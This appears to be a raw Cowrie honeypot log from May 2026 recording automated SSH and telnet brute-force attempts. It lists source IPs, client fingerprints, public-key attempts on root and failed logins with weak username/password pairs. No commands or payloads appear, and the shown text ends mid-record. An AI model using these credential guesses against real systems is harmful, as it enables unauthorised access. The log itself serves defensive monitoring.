{"eventid":"cowrie.login.failed","username":"postgres","password":"1234567","message":"login attempt [postgres/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:53.746328Z","src_ip":"152.53.22.186","session":"9880417812f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:54.836055Z","src_ip":"152.53.22.186","session":"9880417812f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.37166428565979,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:31.035799Z","src_ip":"212.55.149.117","session":"189ef29496cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":43014,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e44b0d0f8a9","protocol":"ssh","message":"New connection: 152.53.22.186:43014 (159.203.135.109:22) [session: 5e44b0d0f8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:48.938722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:48.947316Z","src_ip":"152.53.22.186","session":"5e44b0d0f8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:49.028905Z","src_ip":"152.53.22.186","session":"5e44b0d0f8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2@123","message":"login attempt [test2/test2@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:49.388043Z","src_ip":"152.53.22.186","session":"5e44b0d0f8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:16:50.472200Z","src_ip":"152.53.22.186","session":"5e44b0d0f8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71f457631da","protocol":"ssh","message":"New connection: 103.15.226.202:53288 (10.17.0.5:22) [session: a71f457631da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:33.500295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:33.504615Z","src_ip":"103.15.226.202","session":"a71f457631da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:33.754737Z","src_ip":"103.15.226.202","session":"a71f457631da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sistemas123","message":"login attempt [root/sistemas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:34.506664Z","src_ip":"103.15.226.202","session":"a71f457631da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:35.759787Z","src_ip":"103.15.226.202","session":"a71f457631da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d7302d0719","protocol":"ssh","message":"New connection: 152.53.22.186:54396 (159.203.135.109:22) [session: 05d7302d0719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:38.409617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:38.414763Z","src_ip":"152.53.22.186","session":"05d7302d0719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:38.501518Z","src_ip":"152.53.22.186","session":"05d7302d0719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:38.878135Z","src_ip":"152.53.22.186","session":"05d7302d0719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:17:39.967627Z","src_ip":"152.53.22.186","session":"05d7302d0719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":36520,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee258227081","protocol":"ssh","message":"New connection: 152.53.22.186:36520 (159.203.135.109:22) [session: 6ee258227081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:30.108709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:30.117179Z","src_ip":"152.53.22.186","session":"6ee258227081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:30.205214Z","src_ip":"152.53.22.186","session":"6ee258227081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password!1","message":"login attempt [ubuntu/Password!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:30.582103Z","src_ip":"152.53.22.186","session":"6ee258227081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":42248,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2fcba5793c4","protocol":"ssh","message":"New connection: 57.128.223.80:42248 (10.17.0.5:22) [session: f2fcba5793c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:31.558056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:31.600477Z","src_ip":"57.128.223.80","session":"f2fcba5793c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:31.670608Z","src_ip":"152.53.22.186","session":"6ee258227081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:31.699779Z","src_ip":"57.128.223.80","session":"f2fcba5793c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"test","message":"login attempt [postmaster/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:32.235862Z","src_ip":"57.128.223.80","session":"f2fcba5793c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:33.352633Z","src_ip":"57.128.223.80","session":"f2fcba5793c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57520,"dst_ip":"159.203.135.109","dst_port":22,"session":"7458fa018205","protocol":"ssh","message":"New connection: 2.57.122.208:57520 (159.203.135.109:22) [session: 7458fa018205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.667846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.732813Z","src_ip":"2.57.122.208","session":"7458fa018205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":45254,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10d4ecc3a48","protocol":"ssh","message":"New connection: 176.65.136.174:45254 (10.17.0.5:22) [session: f10d4ecc3a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.844990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.850597Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.865705Z","src_ip":"2.57.122.208","session":"7458fa018205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:43.942209Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.367335Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6d:01:a5:68:b2:1e:8e:98:cc:26:db:22:1c:d3:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt63WPkACnu6HgYqP+Tw9oCqdSGC2H9o7xnbcTfp5LPCWS3lakBacsSOebz2U05qygTQrVqoD/6fIPhMBBVAkMZ5ZfHonFWpJROK2m84gMJ5GEuW0B98Wb9zY/8w2U/CR8tz+gC5D2pg9Bhld4k+mNn92aJtx1czrboNsYpXQBedbO9rjNkAa11HlGVjXSKD5ANI85p/9D2dKxsb2FOHPXNju+PODNMyTv8Q4+YhcV4nPsDQyA2bBTZ7KYOc6eDPL/92MLTqE2mbdBQKJcMSMEhiZTTTtnAU9mJ3HziTbXhQlT+KnrCqFh5q+O93joiSYgmxheiyCiMJZ1Hv0/HnyWEelXkip3dOsCXSwlVMF19QmzLrYW2y56DvHksMBR+8hLMeA9YUlkO9mQ7E6HwdZoRJ7pPGMGnXQWULzepwVExsNq6bSQ7JTbTcGvzqaJDFzSDZlG9V886nwjpbwKAXKsu9GxfFY1LY6iezKcGTGRIgHiKouFxFpYr3ele5W/oi392zjrj1VNrSC32Q4vqjbjfE99J4zgRwfO/kyWNXUOvvUcJF4GrzpvD41OKTzV+G4U2uEAyh/81iZsVmW2vePiYCFM3/Rd6ddDvul9Lyjn+0zeErNa4TvZSgyj2uVKJa+dhn0IejNe3SH9IxouN/1AvjM3Y1W18wwLspY5VZf0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:18:44.371284Z","src_ip":"176.65.136.174","session":"f10d4ecc3a48","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 